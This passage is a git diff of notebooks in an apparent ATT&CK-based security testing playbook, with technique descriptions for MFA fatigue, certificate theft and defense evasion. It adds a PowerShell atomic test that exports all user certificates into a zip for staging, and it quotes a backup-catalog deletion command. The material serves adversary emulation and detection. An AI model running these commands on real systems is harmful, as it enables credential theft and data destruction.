Globe)" + "source": "# T1621 - Multi-Factor Authentication Request Generation\nAdversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account.\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to \u201cMFA fatigue.\u201d(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)" }, { "cell_type": "markdown", - "id": "db82547a", + "id": "e17da760", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "9ab584f6", + "id": "1a55b6a8", "metadata": {}, "source": "## Detection\nMonitor user account logs as well as 2FA/MFA application logs for suspicious events: unusual login attempt source location, mismatch in location of login attempt and smart device receiving 2FA/MFA request prompts, and high volume of repeated login attempts, all of which may indicate user's primary credentials have been compromised minus 2FA/MFA mechanism. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1649.ipynb b/playbook/tactics/credential-access/T1649.ipynb index 8d9a804c..3e8f347a 100644 --- a/playbook/tactics/credential-access/T1649.ipynb +++ b/playbook/tactics/credential-access/T1649.ipynb @@ -2,27 +2,61 @@ "cells": [ { "cell_type": "markdown", - "id": "a53e385c", + "id": "d010d7bc", "metadata": {}, - "source": "# T1649 - Steal or Forge Authentication Certificates\nAdversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)\n\nAuthentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate\u2019s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate\u2019s subject alternative name (SAN) values define the certificate owner\u2019s alternate names.(Citation: Medium Certified Pre Owned)\n\nAbusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.\n\nAdversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as \u201cgolden\u201d certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)" + "source": "# T1649 - Steal or Forge Authentication Certificates\nAdversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)\n\nAuthentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate\u2019s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate\u2019s subject alternative name (SAN) values define the certificate owner\u2019s alternate names.(Citation: Medium Certified Pre Owned)\n\nAbusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.\n\nAdversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as \u201cgolden\u201d certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)" }, { "cell_type": "markdown", - "id": "ef0f3768", + "id": "a9ba8445", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" + }, + { + "cell_type": "markdown", + "id": "318c9a69", + "metadata": {}, + "source": [ + "### Atomic Test #1 - Staging Local Certificates via Export-Certificate", + "Export all user certificates and add to a compressed archive.\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$archive=\"$env:PUBLIC\\T1649\\atomic_certs.zip\"\n$exfilpath=\"$env:PUBLIC\\T1649\\certs\"\nAdd-Type -assembly \"system.io.compression.filesystem\"\nRemove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore\nmkdir $exfilpath | Out-Null\nforeach ($cert in (gci Cert:\\CurrentUser\\My)) { Export-Certificate -Cert $cert -FilePath $exfilpath\\$($cert.FriendlyName).cer}\n[io.compression.zipfile]::CreateFromDirectory($exfilpath, $archive)\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "adc95f86", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1649 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "87a3e94f", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\n$exfilpath=\"$env:PUBLIC\\T1649\\certs\"\nRemove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "acbe9608", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1649 -TestNumbers 1 -Cleanup" } ], "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion.ipynb b/playbook/tactics/defense-evasion.ipynb index bbe1a2fb..ef90a0fa 100644 --- a/playbook/tactics/defense-evasion.ipynb +++ b/playbook/tactics/defense-evasion.ipynb @@ -2,14 +2,14 @@ "cells": [ { "cell_type": "markdown", - "id": "b39dd34c", + "id": "dde538ea", "metadata": {}, - "source": "# Defense Evasion\nThe adversary is trying to avoid being detected.\n\nDefense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics\u2019 techniques are cross-listed here when those techniques include the added benefit of subverting defenses. \n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1205.002 | Socket Filters | Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.\nT1027.009 | Embedded Payloads | Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs) \n\nAdversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage) \n\nFor example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021) \n\nEmbedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT)\nT1027.008 | Stripped Payloads | Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system\u2019s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)\n\nAdversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)\nT1556.007 | Hybrid Identity | Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\u2019 identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)\nT1027.007 | Dynamic API Resolution | Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106) functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.\n\nAPI functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing)\n\nTo avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to [Software Packing](https://attack.mitre.org/techniques/T1027/002), dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.\n\nVarious methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress()` and `LoadLibrary()`. These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) during execution).(Citation: BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash)\nT1070.009 | Clear Persistence | Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm)\n\nIn some instances, artifacts of persistence may also be removed once an adversary\u2019s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)\nT1070.008 | Clear Mailbox Data | Adversaries may modify mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails or logs generated by the application or operating system, such as export requests. \n\nAdversaries may manipulate email mailbox data to remove logs and artifacts, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534), [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell [PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including Remove-MailboxExportRequest to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)\nT1070.007 | Clear Network Connection History and Configurations | Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\n\nNetwork connection history may be stored in various locations on a system. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\n\nWindows may also store information about recent RDP connections in files such as C:\\Users\\\\%username%\\Documents\\Default.rdp and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMalicious network connections may also require changes to network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.\nT1556.006 | Multi-Factor Authentication | Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \nT1647 | Plist File Modification | Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the info.plist file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).\n\nFor example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the LSUIElement key in an application\u2019s info.plist file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as LSEnvironment, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)\nT1622 | Debugger Evasion | Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would \u201cswallow\u201d or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)\nT1574.013 | KernelCallbackTable | Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.\nT1556.005 | Reversible Encryption | An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.\nT1055.015 | ListPlanting | Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.\nT1564.010 | Process Argument Spoofing | Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)\n\nAdversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) WriteProcessMemory() function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)\n\nThis behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.\nT1564.009 | Resource Forking | Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file\u2019s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)\nT1562.010 | Downgrade Attack | Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)\n\nAdversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)\nT1620 | Reflective Code Loading | Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the \u201cinjection\u201d loads code into the processes\u2019 own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)\nT1218.014 | MMC | Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: 